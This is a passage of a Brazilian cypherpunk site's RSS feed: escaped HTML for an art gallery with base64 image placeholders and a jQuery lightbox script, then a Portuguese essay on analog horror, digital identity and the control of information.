nvLQy4aOINn7uSRjnbXZDVWNlaxjQWks7YiiZznHyjNdPpXhTLK18wBxnygece9ai2kWlGO2061dppU3CRuQRnrnv0NatnbG3h/ekNM3LuB1NONuhOp5zoiJJqkCuoZS3QjIruHYrrloikhfKb5R06GuJ0L/AJC1v/vV2sv/ACH7T/rk38jVQLhuzQCqt820AZQE4HU5qz61XP8Ax/H/AHB/OrHrQidz/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/come-to-cypher_huc2f8144de8bc06b81c7c140770a74b9a_5130415_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/circuit-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APJXcHhSfrV2wtYTNb&amp;#43;ecvcOFRWYgAE4yT17/wCe2Wc7uOK0PJ&amp;#43;328ZjcefENjITjK9iK6ZSZre5oarYW8F7c2cICy23zYBOGA&amp;#43;vIPtWKxHPHT9K2tYS3sdTubtHO&amp;#43;TJWMnJ3E5J47Vgqfl6kEA4IFJS6MfMIOopyfeNNHUU5PvGm/iEthGJEjAHFSyf6r8DUL/6xv8APappP9WPoafWQ1sz/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/circuit-cypher_hu9adc63255a89a753be78668264bb57dd_1787568_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/beauty-death.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APLIwjbiS3Dfe7/hmrsaR&amp;#43;YVBUfKfvAYAx64rORsA4J4bPTrj&amp;#43;lWd6jc4fJPQAfX0rujY5miVSxTakjAxhfTBHXIPr/jQWEkZdmJbZtHy53/AP1/X/69IxwvyrIo4yF447celNuLlkjO1CQ7cMRwRznGfrTYtzMBOVGTjdU0vEbY4/e9qgH3l/3qnm/1b/8AXb/CslszV7l2J2&amp;#43;xSnccmPk568j/ABNLdM37sZOPLx19xTIv&amp;#43;PGT/rn/AFWnXf8Ayz/3P8K26GPU/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/beauty-death_hu9cd2042d38500ecc7b2f3cb881d2a6b6_3275717_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/acid-cypher.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOOhtrdI4wz25dkAJkiOF/Xr3/OmpbJJN5Sx224cn930Izx15pbJlgH2iTLKCDnGcDP/AOv9KvajdQxXsLxSCaGVdxHYDOMj8jW6jHqBianCiBWAjXIBGxMZz68n0rOrc1y3SGNdrK43jBHbgnFY2B6VFSPLKwGzFIr2sls7rH/cLdOvrVmKGI6eLe42q8b8OCd23IPHHrn86yZriOQhlVUzyRvzz&amp;#43;VLBdeUGI2Fj0O7GKrmV9WBe11hJDG6jb83T8/8/jWJVq6ud9tHFwxU53b93/6qp5NTUkpSugP/2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/acid-cypher_hu120429472d5c322c735ec37fb853f4ee_7086500_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/aaron-swartz.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APMxdQlY0NnGzABcgkE//XqeW4giUxtp0JBbcCC2VyAMZ79M8&amp;#43;tUljyBJnGDwB1z1p9xMZUBB69VPWu&amp;#43;MIezblv0MW3fQfckeWc2iQkn5dpzgZPH6jr6VUqxJMZoPn&amp;#43;8v61BXPXjBS9zYuDdtSysmyMAF1&amp;#43;hPX1pMELu3MO&amp;#43;70z1pw8sov3cjrk0uYyMZXHpmr9pHt0FYiljIJYnPqeetRYqaTYFwMZHcVFWNRpyulYtbH//2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/aaron-swartz_hu3a7024da32b12d85ff2a71e3a7fdf226_2880964_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/rsa-algorithm-perl.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APMVUscKMn2pwglP8BpqsUbcpwfWpoZGeVRI5x9cUDG/Zp/&amp;#43;eTflUbKVYqwwR2qa6bZO6I5Kg8c5/WoCcnJoAKKKKACiiigD/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/rsa-algorithm-perl_hucc5c5a7fb47e0692c96add0939927adb_215407_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/cypherpunks-write-code.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOGsrtzpF/F5HmucNvAyQOnPHQYyPSqVyfMtreVuXbcCfXB4qeDUo4UmxbgNMm18Hg9c/TrVZpzNMGZQFAwqgcAUA9CCipnYDH7oc&amp;#43;1NZ1KkeWB7&amp;#43;lK5Kk30I6M46UUUyxd7f3j&amp;#43;dBYnqSaSigVj/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/cypherpunks-write-code_hu9f68f6103d0cd308f7591d301eecd922_353668_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/crl&amp;#43;c-crl&amp;#43;v.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APPXwGuPvLgen3eR7UMMMwwRiJTjHA4HPT/PFDsoafEmMDgnHHI9/wAaCVBYbsYiXjI44HPX/OK9AAQZMYwTmJjjHXrz0ojwWt/vHLdx97nqeKFK5jG7OYn4yOevPX/OaI2Utb/vM5bnpzz9aAEDMZTlidxbOT1&amp;#43;YU0O5jBLHJCgnPbCcUq/63/gTf8AoYpi/wCqH/Af5JQA4u4jyGIIDgHPQYfinbmEgwxG1lxz0&amp;#43;Y1Gf8AVH/gX8np5/1n/A1/9CNAH//Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/OGabrielPereira/crl&amp;#43;c-crl&amp;#43;v_hue970dc1a9e082bb0381b61125456c968_1691281_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Artista%20An%C3%B4nimo/cypher.jpg"
class="galleryImg"
>
&lt;img
width="84" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAEgMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APH9jbN&amp;#43;07c4zjjNJg1sQ6jJZaELRfKnSaTzipGfLb7uCCPQA8HFW7mQeTKn2LyLaeFQjmEbw2AT3HfjP/66wdVp6oxdRp2sc3RRRW5sbiM32KzV7wRRhNjW5kwGBYnJGeh3dcdPpWlBq8dzfXIuI7O6M6bE80bghwAGUZ6/4GuSyWPJ56c0EbT1GfY1zyoKW5g6N92IQQSMYopSSTk8k0ldBuf/2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Artista%20An%C3%B4nimo/cypher_hu4ffae930d3ff402cf05356f2eeb9ccef_2012537_300x150_fit_q85_lanczos.jpg"
>
&lt;/a>
&lt;/div>
&lt;/div>
&lt;/div>
&lt;script>
if (!jQuery) {
alert("jquery is not loaded");
}
$( document ).ready(() => {
const gallery = $("#gallery-0");
let swipeboxInstance = null;
gallery.on('jg.complete', () => {
$(() => {
$('.lazy').Lazy({
visibleOnly: true,
afterLoad: element => element.css({filter: "none", transition: "filter 1.0s ease-in-out"})
});
});
swipeboxInstance = $('.galleryImg').swipebox(
jQuery.extend({},
{ }
)
);
});
gallery.justifiedGallery({
rowHeight : 200 ,
margins : 5 ,
border : 0,
waitThumbnailsLoad : false,
lastRow : "justify",
captions : false,
});
});
&lt;/script></content:encoded></item><item><title>MANIFESTAÇÃO: das cidades virtuais</title><link>https://cypherpunks.com.br/documentos/manifestacao-das-cidades-virtuais/</link><pubDate>Wed, 22 Dec 2021 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/manifestacao-das-cidades-virtuais/</guid><description>Horror analógico é o nome dado para um movimento artístico e audiovisual recente. Talvez, se nossa tolice permitir, traça-se uma origem dentro do movimento de found footage, mas de um jeito que faça sentido dentro da vivência do mundo virtual. Digo tolo, pois a ascensão e as características desse movimento conversam em específico à uma …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Nota do revisor:&lt;/strong> Texto pode parecer meio confuso mas depois ele se encaixa bem em si próprio. Pode sofrer algumas alterações com o tempo a pedido do autor.&lt;/p>
&lt;h2 id="kael-avila">Kael Avila&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/0%2AIHmj3CDA8VH6NuLv.jpg" loading="lazy"
width="1629" height="1140"
/>
&lt;/p>
&lt;h3 id="manifestação">ma.ni.fes.ta.ção&lt;/h3>
&lt;p>&lt;/p>
&lt;blockquote>
&lt;p>[f. mɐnifəʃtɐˈsɐ̃w̃] Substantivo feminino. &lt;strong>1.&lt;/strong> Ação de tornar público; ato de expressar um pensamento, ideia, ponto de vista etc; revelação: manifestação do pensamento. &lt;strong>2.&lt;/strong> Ação de se expressar publicamente; ato de tornar público. &lt;strong>3.&lt;/strong> Conjunto de várias pessoas que, geralmente, se juntam para expressar publicamente uma opinião, reivindicação, ideia, sentimento etc. &lt;strong>4.&lt;/strong> Revelação de uma doença e/ou perturbação através de um sintoma ou da associação dos mesmos. &lt;strong>5.&lt;/strong> Maneira com a qual Deus se utiliza para se comunicar com seu povo. &lt;strong>6.&lt;/strong> Ação por meio da qual um iniciado e/ou médium recebe uma entidade espiritual.&lt;/p>
&lt;/blockquote>
&lt;p>Horror analógico é o nome dado para um movimento artístico e audiovisual recente. Talvez, se nossa tolice permitir, traça-se uma origem dentro do movimento de &lt;em>found footage&lt;/em>, mas de um jeito que faça sentido dentro da vivência do mundo virtual. Digo tolo, pois a ascensão e as características desse movimento conversam em específico à uma geração e visão espacial que não é a mesma que originou, por exemplo, A Bruxa de Blair.&lt;/p>
&lt;p>LOCAL 58 TV é um projeto de horror analógico. Se apresenta em vídeos que simulam resgates de transmissões de uma TV local fictícia de West Virginia. Acompanhamos transmissões confusas e mensagens inversas que nos duvidam da própria realidade enquanto fala-se sobre não ver (ou ver) a lua. Algo sobre os inimigos terem vencido. Algo sobre um horror noturno natural e maior que nós. A dúvida do que é real e o que não é causa esse sentimento particular de estar vendo algo que não deveria, o horror parte da falta de noção, das informações inversas, da suspenção da realidade.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.youtube.com/embed/3c66w6fVqOI" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video">&lt;/iframe>
&lt;/div>
&lt;p>Diferente do &lt;em>found footage&lt;/em>, que apresentava situações modernas, o horror analógico comumente apela para, obviamente, o analógico. A estética televisiva oitentista e os elementos dos anos 2000 causam um misto de nostalgia, em seu significado puro de dor e saudade. O medo de algo que perdemos, de uma informação que deixamos passar no meio do oceano.&lt;/p>
&lt;p>Isso pode apontar reflexões interessantes. A razão disso conversar diretamente com nossos sentimentos a ponto do pavor tecnológico nos diz que não só acessamos um mundo tecnológico, mas somos ligados à ele intimamente. Isso nos afeta de maneiras várias: românticas, políticas, sociais, e tudo perpassando por uma transição da nossa vivência educacional.&lt;/p>
&lt;p>Dá-se à informação a curiosidade climática. A informação nos transporta para um tempo, nos faz viajar e ver pessoas que já morreram, ler os pensamentos de lugares distantes de nós. O acesso à informação se iguala à viagem no tempo e no espaço. Foi-se o tempo que o horror era sobre descobrir coisas e segredos, de saber de algo. O horror atualmente se localiza no não-saber, o que faz sentido apenas para aqueles que podem saber tudo. A negação de uma informação, a ocultação, o misto. Isso é um horror ficcional que se torna um horror político. Os mais jovens, com mais acesso às tecnologias da informática, veem as informações sendo controladas pelas pessoas que estão nos palanques do poder, e o resultado disso é morte, nem sempre generalizada, mas localizada. O horror que damos às &lt;em>creepypastas&lt;/em> e às &lt;em>fake news&lt;/em>, que as antigas gerações não conseguem compreender, não é sobre o achado delas, e sim do seu mistério, da dúvida do que é real e do que é uma &lt;em>realidade virtual manipulada&lt;/em>, inventada para um interesse específico.&lt;/p>
&lt;p>Estamos resgatando o horror cósmico nesses últimos tempos, o terror ao desconhecido, às coisas que somos impedidos de acessar. Lovecraft e outros do movimento literário &lt;em>weird&lt;/em> estão sendo resgatados à atenção, são exemplificados na criação do horror &lt;em>new weird&lt;/em>. Não é incomum jovens caírem em buracos de coelhos tentando encontrar o que é mais difícil de ser encontrado, os fundos da realidade cibernética, o medo do lado abaixo da água do iceberg, os vídeos escondidos nos quais é difícil de saber sua fidelidade com o antigo &lt;em>real&lt;/em>. As mais novas técnicas do horror cinematográfico partem do medo daquilo que não conhecemos, principalmente aqueles os quais damos atenção particular, como os filmes do Ari Aster e do Robert Eggers. É um medo que conversa particularmente conosco, pois o entendemos.&lt;/p>
&lt;p>Isso se exemplifica ainda mais ao pegarmos histórias transgeracionais, e como cada uma a viu e a sentiu, como o caso de Alice no País das Maravilhas e suas adaptações. A visão e os aprendizados que temos, sentimentalmente, foram se transformando desde sua primeira aparição. É uma fábula pós-moderna que podemos traçar nossos sentimentos com o desconhecido. Ela é simples: uma garota cai em um buraco de coelho e conhece um novo mundo. Logo nos anos 60, a história se tornou símbolo da descoberta de uma nova consciência entre os hippies, que descobriram um novo mundo estético, político e social através do uso de drogas e da psicodelia.&lt;/p>
&lt;p>Nos anos 90, com Matrix, se tornou sobre a descoberta do conhecimento do mundo cibernético, sobre os sistemas de dominação e um novo mundo no qual poderíamos construir ao abandonar essa dominação, e sua resistência em permanece-lo vivo. A versão do Tim Burton, de 2010 de Alice no País das Maravilhas, nos contou uma nova fábula, a da redescoberta. Da visão de um passado, da nostalgia da ignorância infantil, sobre ver o mundo em sua podridão e decadência. O país das maravilhas é o mesmo, quem mudou é a Alice. Ela se depara com um mundo distópico e violento — em uma onda de arte distópica que tomou conta de quase toda aquela década (Jogos Vorazes, os últimos filmes do Harry Potter, a saga Divergente, o romance distópico de John Green). Foi sobre uma geração que nasceu no otimismo para depois descobrir os horrores sociais que haviam mesmo em suas épocas mais felizes que foram perdidas. Enquanto a geração passada viu Matrix em todo seu sentimento ansioso de descoberta de um mundo novo a partir do mar de informações, as gerações nativas do mar não mais se encantam, mas temem suas profundezas.&lt;/p>
&lt;p>Não há possibilidade de negar que isso é a realidade. Mais que a realidade, que se limita em suas naturalidades lógicas, mas uma realidade conceitual. A própria realidade se desfaz e se transforma em um mundo em ascensão que seria limitado ao ser dividido em “abstrato” e “concreto”. Ela não é natural como os antigos dizem, mas para aqueles que nasceram no mundo digital, ela não faz sentido a qualquer rótulo de não-naturalidade. Não é a negação da “vida real”, mas sua expansão e transformação.&lt;/p>
&lt;p>Os nomes de perfil que usamos são os nossos nomes, reflete a mesma função de como usamos na “vida real” (identificação individual em um grupo cultural por um conjunto de palavras), mesmo que ele seja um irônico ou em um alfabeto desconexo. É o nome que nos apresenta e nos diz quem somos, seja em um cartório, seja no &lt;em>LOL&lt;/em>. Os rostos que usamos são as nossas novas aparências visuais, nossa homepage expressa nossa personalidade assim como a moda. As histórias que construímos virtualmente são as nossas histórias.&lt;/p>
&lt;p>E eu não digo nada disso na perspectiva de um tecnológo e informática, ou ainda de alguém incluso no hacker-ativismo. Faço parte desse mundo por fazer parte desse mundo, e a partir dele consigo observar os processos que não estamos dando tanta atenção. Vejo que estamos sendo incluídos em um novo processo de educação que merece criticidade e luta por liberdade. Que estamos em uma visão de mundo transformada, transfutura, que se expressa na arte, na cultura, na organização, na pedagogia das coisas.&lt;/p>
&lt;p>A guerra por territórios cedeu seu protagonismo global para uma outra durante a transição da Segunda Guerra Mundial para a Guerra Fria. A própria Segunda Guerra já nos mostra os traços dessa nova forma de dominação, que se transformou completamente em uma guerra ideológica na Guerra Fria e depois, em uma Guerra Social. A identidade nunca fez tanto sentido de existência no epicentro da morte da nacionalidade. Isso não quer dizer que as pessoas não morram, na verdade nem a Guerra Fria se mantém no mito de ser “uma guerra sem conflitos”. Não tiveram conflitos terrenos entre os polos de poder, mas o conflito ideológico produziu guerras de verdade em países que esses polos acharam conveniente manipular a informação e a educação e expandir esse material imaterial. Alguns desses lugares sofre até hoje as consequências da guerra “puramente ideológica”.&lt;/p>
